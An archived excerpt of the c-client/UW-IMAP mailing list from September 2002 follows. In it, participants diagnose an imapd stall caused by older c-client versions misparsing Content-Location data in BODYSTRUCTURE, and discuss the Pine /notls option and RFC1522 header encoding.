_ \<_ arlt@cpsc.ucalgary.ca University Of Calgary (_)/(_) I should be biking right now. Computer Science -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Sep 17 15:45:33 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 17 Sep 2002 15:45:33 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g8HMjX2P028672 for ; Tue, 17 Sep 2002 15:45:33 -0700 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Tue Sep 17 15:45:32 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g8HMjQEN019596 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 17 Sep 2002 15:45:26 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8HMi0Om085808; Tue, 17 Sep 2002 15:44:00 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8HMfj97155634 for ; Tue, 17 Sep 2002 15:41:45 -0700 Received: FROM mxu3.u.washington.edu BY mailscan3.cac.washington.edu ; Tue Sep 17 15:41:45 2002 -0700 Received: from www.hr.vc-graz.ac.at (www.hr.vc-graz.ac.at [193.171.240.3]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g8HMfcbq018110 for ; Tue, 17 Sep 2002 15:41:44 -0700 Received: from fl.priv.at (a-107.vc-graz.ac.at [193.171.240.107]) by www.hr.vc-graz.ac.at (8.11.6/linuxconf) with ESMTP id g8HMgT114600; Wed, 18 Sep 2002 00:42:29 +0200 Message-Id: <3D87AF7F.6090208@fl.priv.at> Date: Wed, 18 Sep 2002 00:41:03 +0200 Reply-To: C-Client/UW-IMAP Mailing Liste Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Friedrich Lobenstock To: C-Client/UW-IMAP Mailing Liste Subject: Re: imapd seems to be stalling on certain messages References: <20020917221441.GA16077@ms210a.cpsc.ucalgary.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: de, en X-Enigmail-Version: 0.65.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Brad Arlt wrote: > I can also provide a network trace, but I cannot for the life of me > figure out how to tell Pine to not use TLS even though the server > supports it. Anyone? {imap-server.domain.com/notls} option I guess -- MfG / Regards Friedrich Lobenstock From pinedev@shivax2.cac.washington.edu Tue Sep 17 15:47:19 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 17 Sep 2002 15:47:19 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g8HMlJ2P028842 for ; Tue, 17 Sep 2002 15:47:19 -0700 Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Tue Sep 17 15:47:18 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g8HMlHEN019720 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 17 Sep 2002 15:47:17 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8HMkCk6041382; Tue, 17 Sep 2002 15:46:13 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8HMhI97028334 for ; Tue, 17 Sep 2002 15:43:18 -0700 Received: FROM mxu4.u.washington.edu BY mailscan1.cac.washington.edu ; Tue Sep 17 15:43:17 2002 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g8HMhHs9017823 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 17 Sep 2002 15:43:17 -0700 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.17]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g8HMhHCP014644 for ; Tue, 17 Sep 2002 15:43:17 -0700 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Tue Sep 17 15:43:15 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g8HMhFTb003104 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 17 Sep 2002 15:43:15 -0700 Message-Id: Date: Tue, 17 Sep 2002 15:43:17 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Brad Arlt Cc: c-client@u.washington.edu Subject: Re: imapd seems to be stalling on certain messages In-Reply-To: <20020917221441.GA16077@ms210a.cpsc.ucalgary.ca> References: <20020917221441.GA16077@ms210a.cpsc.ucalgary.ca> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 17 Sep 2002, Brad Arlt wrote: > When viewing certain messages with Pine (v4.44), and during the > startup of TkRat 2.0.2 and 2.1 if certain messages are present in the > INBOX, the imapd server becomes unresponsive. A strace reveals what > looks like a blocking read on the imap server. If the messages are > placed in other folders, the same problem exists. If each message is > isolated in its own folder, the problem still presists. Please provide with with a sample mailbox (as a MIME attachment) which demonstrates the problem and instructions on how to reproduce it. It sounds like a bug, but without more information I have no way to fix it. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Sep 17 15:49:26 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 17 Sep 2002 15:49:26 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g8HMnQ2P028941 for ; Tue, 17 Sep 2002 15:49:26 -0700 Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Tue Sep 17 15:49:25 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g8HMnPEN019796 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 17 Sep 2002 15:49:25 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8HMmT0j006360; Tue, 17 Sep 2002 15:48:29 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8HMji97036452 for ; Tue, 17 Sep 2002 15:45:44 -0700 Received: FROM mxu2.u.washington.edu BY mailscan3.cac.washington.edu ; Tue Sep 17 15:45:44 2002 -0700 Received: from www.hr.vc-graz.ac.at (www.hr.vc-graz.ac.at [193.171.240.3]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g8HMjbJX005432 for ; Tue, 17 Sep 2002 15:45:43 -0700 Received: from fl.priv.at (a-107.vc-graz.ac.at [193.171.240.107]) by www.hr.vc-graz.ac.at (8.11.6/linuxconf) with ESMTP id g8HMkT114618; Wed, 18 Sep 2002 00:46:29 +0200 Message-Id: <3D87B06E.5030209@fl.priv.at> Date: Wed, 18 Sep 2002 00:45:02 +0200 Reply-To: C-Client/UW-IMAP Mailing Liste Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Friedrich Lobenstock To: C-Client/UW-IMAP Mailing Liste Subject: /notls (was Re: imapd seems to be stalling on certain messages) References: <20020917221441.GA16077@ms210a.cpsc.ucalgary.ca> <3D87AF7F.6090208@fl.priv.at> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: de, en X-Enigmail-Version: 0.65.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Friedrich Lobenstock wrote: > Brad Arlt wrote: > >> I can also provide a network trace, but I cannot for the life of me >> figure out how to tell Pine to not use TLS even though the server >> supports it. Anyone? > > > {imap-server.domain.com/notls} option I guess > See also: http://www.washington.edu/imap/IMAP-FAQs/index.html#7.28 It's not quite the same topic but good as reference. -- MfG / Regards Friedrich Lobenstock From pinedev@shivax2.cac.washington.edu Tue Sep 17 16:33:37 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 17 Sep 2002 16:33:37 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g8HNXa2P031347 for ; Tue, 17 Sep 2002 16:33:36 -0700 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Tue Sep 17 16:33:36 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g8HNXW07025924 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 17 Sep 2002 16:33:32 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8HNVEOm090704; Tue, 17 Sep 2002 16:31:14 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8HNSd97099362 for ; Tue, 17 Sep 2002 16:28:39 -0700 Received: FROM mxu1.u.washington.edu BY mailscan1.cac.washington.edu ; Tue Sep 17 16:28:38 2002 -0700 Received: from fsa.cpsc.ucalgary.ca (fsa.cpsc.ucalgary.ca [136.159.2.1]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g8HNScR8014222 for ; Tue, 17 Sep 2002 16:28:38 -0700 Received: from imgw1.cpsc.ucalgary.ca (ons-imgw1 [192.168.1.66]) by fsa.cpsc.ucalgary.ca (8.12.4/8.12.4) with ESMTP id g8HNSAGT029058; Tue, 17 Sep 2002 17:28:33 -0600 Received: from ms210a.cpsc.ucalgary.ca (ms210a [136.159.4.248]) by imgw1.cpsc.ucalgary.ca (8.12.3/8.12.3) with ESMTP id g8HN2VRO017486; Tue, 17 Sep 2002 17:02:31 -0600 Received: (from arlt@localhost) by ms210a.cpsc.ucalgary.ca (8.12.1/8.12.1/Submit) id g8HN2Vwv017261; Tue, 17 Sep 2002 17:02:31 -0600 (MDT) Message-Id: <20020917230231.GA17252@ms210a.cpsc.ucalgary.ca> Date: Tue, 17 Sep 2002 17:02:31 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Brad Arlt To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: imapd seems to be stalling on certain messages In-Reply-To: References: <20020917221441.GA16077@ms210a.cpsc.ucalgary.ca> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="gKMricLos+KVdGMg" Content-Disposition: inline X-Virus-Scanned: by amavis-milter (http://amavis.org/) X-Spam-Status: No, hits=-2.9 required=13.0 tests=IN_REP_TO,PORN_3 version=2.30 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --gKMricLos+KVdGMg Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Tue, Sep 17, 2002 at 03:43:17PM -0700, Mark Crispin wrote: > On Tue, 17 Sep 2002, Brad Arlt wrote: > > When viewing certain messages with Pine (v4.44), and during the > > startup of TkRat 2.0.2 and 2.1 if certain messages are present in the > > INBOX, the imapd server becomes unresponsive. A strace reveals what > > looks like a blocking read on the imap server. If the messages are > > placed in other folders, the same problem exists. If each message is > > isolated in its own folder, the problem still presists. > > Please provide with with a sample mailbox (as a MIME attachment) which > demonstrates the problem and instructions on how to reproduce it. > > It sounds like a bug, but without more information I have no way to fix > it. I have stripped most of the good stuff out of the email. I can provide the original when the owner says sure, otherwise (and until then) this is it. I also didn't alter the content length or the number of lines, but I figured you would have to be nuts to use either so no harm. I checked and it still hangs Pine and/or imapd. One detail I forgot. In all cases Pine and TkRat can read the mailbox directly (both support the Unix mailbox format so I copied the INBOX to see if it was just the client's problem) without any problems. As can mutt (v1.3.25 if it matters), but mutt never had/caused any issues. ---------------------------------------------------------------------- __o Bradley Arlt Security Team Lead _ \<_ arlt@cpsc.ucalgary.ca University Of Calgary (_)/(_) I should be biking right now. Computer Science --gKMricLos+KVdGMg Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=buggy_pine1 >From blackhole@shaw.ca Fri Sep 13 13:45:28 2002 Return-Path: Received: from imgw1.cpsc.ucalgary.ca (imgw1 [136.159.5.9]) by imaps.cpsc.ucalgary.ca (8.12.6/8.12.6) with ESMTP id g8DJjR3b670501 for ; Fri, 13 Sep 2002 13:45:28 -0600 (MDT) Received: from fsc.cpsc.ucalgary.ca (ons-emgw2 [192.168.1.14]) by imgw1.cpsc.ucalgary.ca (8.12.3/8.12.3) with ESMTP id g8DJjQRO003260 for ; Fri, 13 Sep 2002 13:45:26 -0600 Received: from pd3mo1so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net [24.71.223.10]) by fsc.cpsc.ucalgary.ca (8.12.2/8.12.2) with ESMTP id g8DJjQcM018083 for ; Fri, 13 Sep 2002 13:45:26 -0600 Received: from pd5mr3so.prod.shaw.ca (pd5mr3so-qfe3.prod.shaw.ca [10.0.141.144]) by l-daemon (iPlanet Messaging Server 5.1 HotFix 0.8 (built May 12 2002)) with ESMTP id <0H2E003OY6LR1F@l-daemon> for blackhole@cpsc.ucalgary.ca; Fri, 13 Sep 2002 13:39:27 -0600 (MDT) Received: from pn2ml3so.prod.shaw.ca (pn2ml3so-qfe0.prod.shaw.ca [10.0.121.147]) by l-daemon (iPlanet Messaging Server 5.1 HotFix 0.8 (built May 12 2002)) with ESMTP id <0H2E003GG6LRD0@l-daemon> for blackhole@cpsc.ucalgary.ca; Fri, 13 Sep 2002 13:39:27 -0600 (MDT) Received: from shaw.ca (h24-81-248-82.cg.shawcable.net [24.81.248.82]) by l-daemon (iPlanet Messaging Server 5.1 HotFix 0.6 (built Apr 26 2002)) with ESMTP id <0H2E0053H6LQ9N@l-daemon> for blackhole@cpsc.ucalgary.ca; Fri, 13 Sep 2002 13:39:27 -0600 (MDT) Date: Fri, 13 Sep 2002 13:38:51 -0600 From: Trudy blackhole Subject: Wilfrid Laurier University Press To: jdsisson@jdsisson.com Message-id: <3D823ECB.14C8186E@shaw.ca> MIME-version: 1.0 X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) Content-type: multipart/mixed; boundary="Boundary_(ID_vGAhvj7DqvvqM2nO3GsbYQ)" X-Accept-Language: en X-Virus-Scanned: by amavis-milter (http://amavis.org/) Content-Length: 2834 Lines: 73 X-IMAPbase: 1032303331 1 Status: RO X-Status: X-Keywords: X-UID: 1 This is a multi-part message in MIME format. --Boundary_(ID_vGAhvj7DqvvqM2nO3GsbYQ) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7BIT http://www.wlu.ca/~wwwpress/cgi-bin/wlup.cgi?page=order_individual.html&cart_id= --Boundary_(ID_vGAhvj7DqvvqM2nO3GsbYQ) Content-type: text/html; charset=us-ascii; name=wlup.cgi Content-transfer-encoding: 7BIT Content-disposition: inline; filename=wlup.cgi Content-Base: "http://www.wlu.ca/~wwwpress/cgi-bin/wlup.cgi?page=order_individual.html&c art_id=7358343_25594" Content-Location: "http://www.wlu.ca/~wwwpress/cgi-bin/wlup.cgi?page=order_individual.html&c art_id=7358343_25594" Wilfrid Laurier University Press --Boundary_(ID_vGAhvj7DqvvqM2nO3GsbYQ)-- --gKMricLos+KVdGMg-- From pinedev@shivax2.cac.washington.edu Tue Sep 17 16:50:13 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 17 Sep 2002 16:50:13 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g8HNoC2P032105 for ; Tue, 17 Sep 2002 16:50:12 -0700 Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Tue Sep 17 16:50:12 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g8HNo8EN022185 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 17 Sep 2002 16:50:09 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8HNk24G028624; Tue, 17 Sep 2002 16:46:02 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8HNhn97167424 for ; Tue, 17 Sep 2002 16:43:49 -0700 Received: FROM mxu4.u.washington.edu BY mailscan4.cac.washington.edu ; Tue Sep 17 16:43:48 2002 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g8HNhms9004019 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 17 Sep 2002 16:43:48 -0700 Received: from mailscan-out3.cac.washington.edu (mailscan-out3.cac.washington.edu [140.142.32.18]) by mxout4.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g8HNhlQn007716 for ; Tue, 17 Sep 2002 16:43:47 -0700 Received: FROM smtp.washington.edu BY mailscan-out3.cac.washington.edu ; Tue Sep 17 16:43:46 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g8HNhkCR024243 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 17 Sep 2002 16:43:46 -0700 Message-Id: Date: Tue, 17 Sep 2002 16:43:48 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Brad Arlt Cc: c-client@u.washington.edu Subject: Re: imapd seems to be stalling on certain messages In-Reply-To: <20020917230231.GA17252@ms210a.cpsc.ucalgary.ca> References: <20020917221441.GA16077@ms210a.cpsc.ucalgary.ca> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN OK, I see what the problem is. The message has Content-Location headers, which is supported by the imap-2002 IMAP server in the BODYSTRUCTURE. However, versions of c-client prior to the imap-2002 distribution have a bug in which they incorrectly parse BODYSTRUCTURE extension data. This bug is fixed in the imap-2002 c-client, but versions of Pine or other programs built with older versions of c-client will be broken by this. If you can wait a few more days, Pine 4.50 will be released which will fix the bug. Otherwise, you have the following choices: Choice 1 (workaround): Remove content-location extension from imap-2002 imapd. There are two occurrance of the following two lines in imapd.c: PBOUT (' '); pstring (body->location); Remove both of them. Choice 2 (bugfix): rebuild Pine (and any other programs using c-client) with imap-2002 c-client. Note that if the program uses [GS]ET_DISABLEAUTOMATICSHAREDNAMESPACES, that symbol has been renamed to [GS]ET_DISABLEAUTOSHAREDNS. You'll have to edit a Pine source file for this. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Wed Sep 18 15:01:54 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 18 Sep 2002 15:01:54 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g8IM1s2P013689 for ; Wed, 18 Sep 2002 15:01:54 -0700 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Wed Sep 18 15:01:53 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g8IM1i07029684 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 18 Sep 2002 15:01:45 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8IM08Om083516; Wed, 18 Sep 2002 15:00:08 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8ILut97076260 for ; Wed, 18 Sep 2002 14:56:55 -0700 Received: FROM mxu1.u.washington.edu BY mailscan3.cac.washington.edu ; Wed Sep 18 14:56:54 2002 -0700 Received: from fsa.cpsc.ucalgary.ca (fsa.cpsc.ucalgary.ca [136.159.2.1]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g8ILusR8031419 for ; Wed, 18 Sep 2002 14:56:54 -0700 Received: from imgw1.cpsc.ucalgary.ca (ons-imgw1 [192.168.1.66]) by fsa.cpsc.ucalgary.ca (8.12.4/8.12.4) with ESMTP id g8ILuqFr003653 for ; Wed, 18 Sep 2002 15:56:52 -0600 Received: from csh.cpsc.ucalgary.ca (csh [136.159.5.21]) by imgw1.cpsc.ucalgary.ca (8.12.3/8.12.3) with ESMTP id g8ILupRO003896 for ; Wed, 18 Sep 2002 15:56:51 -0600 Received: (from arlt@localhost) by csh.cpsc.ucalgary.ca (8.12.1/8.12.1/Submit) id g8ILupbp003866 for c-client@u.washington.edu; Wed, 18 Sep 2002 15:56:51 -0600 (MDT) Message-Id: <20020918215651.GC2045@csh.cpsc.ucalgary.ca> Date: Wed, 18 Sep 2002 15:56:51 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Brad Arlt To: c-client@u.washington.edu Subject: Re: imapd seems to be stalling on certain messages In-Reply-To: References: <20020917221441.GA16077@ms210a.cpsc.ucalgary.ca> <20020917230231.GA17252@ms210a.cpsc.ucalgary.ca> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Virus-Scanned: by amavis-milter (http://amavis.org/) X-Spam-Status: No, hits=-3.4 required=13.0 tests=IN_REP_TO version=2.30 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, Sep 17, 2002 at 04:43:48PM -0700, Mark Crispin wrote: > OK, I see what the problem is. The message has Content-Location headers, > which is supported by the imap-2002 IMAP server in the BODYSTRUCTURE. > However, versions of c-client prior to the imap-2002 distribution have a > bug in which they incorrectly parse BODYSTRUCTURE extension data. > > This bug is fixed in the imap-2002 c-client, but versions of Pine or other > programs built with older versions of c-client will be broken by this. > > If you can wait a few more days, Pine 4.50 will be released which will fix > the bug. Otherwise, you have the following choices: Super... I can wait before I play with anything. I will make a patch for TkRat when Pine 4.50 is released. Thank you for your help. ----------------------------------------------------------------------- __o Bradley Arlt Security Team Lead _ \<_ arlt@cpsc.ucalgary.ca University Of Calgary (_)/(_) I should be biking right now. Computer Science From pinedev@shivax2.cac.washington.edu Thu Sep 19 23:04:14 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 19 Sep 2002 23:04:14 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g8K64E2P005886 for ; Thu, 19 Sep 2002 23:04:14 -0700 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Thu Sep 19 23:04:08 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g8K647EN008181 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 19 Sep 2002 23:04:08 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8K62AOm073666; Thu, 19 Sep 2002 23:02:10 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8K5wi97069706 for ; Thu, 19 Sep 2002 22:58:45 -0700 Received: FROM mxu3.u.washington.edu BY mailscan6.cac.washington.edu ; Thu Sep 19 22:58:43 2002 -0700 Received: from mail.votek.com (gaia.votek.com [212.86.21.2]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g8K5wfOT017120 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 19 Sep 2002 22:58:43 -0700 Received: (qmail 11761 invoked from network); 20 Sep 2002 05:53:27 -0000 Received: from pori-pkarp.pori.votek.com (HELO yomi.com) (pekka.karp@10.6.1.211) by gaia.votek.com with SMTP; 20 Sep 2002 05:53:27 -0000 Message-Id: <3D8AB9F7.E596A416@yomi.com> Date: Fri, 20 Sep 2002 09:02:31 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Pekka Karp To: c-client@u.washington.edu Subject: How to encode a header (subject) (RFC1522 encoding) with c-client MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, can anyone help me and please tell me how to encode subject on header before a new message sending. (RFC1522 encoding) with c-client functions. -Pekka Karp -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Sep 20 04:33:44 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 20 Sep 2002 04:33:44 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g8KBXi2P015467 for ; Fri, 20 Sep 2002 04:33:44 -0700 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Fri Sep 20 04:33:43 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g8KBXY07020195 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 20 Sep 2002 04:33:35 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8KBVw0j031702; Fri, 20 Sep 2002 04:31:58 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8KBST97109728 for ; Fri, 20 Sep 2002 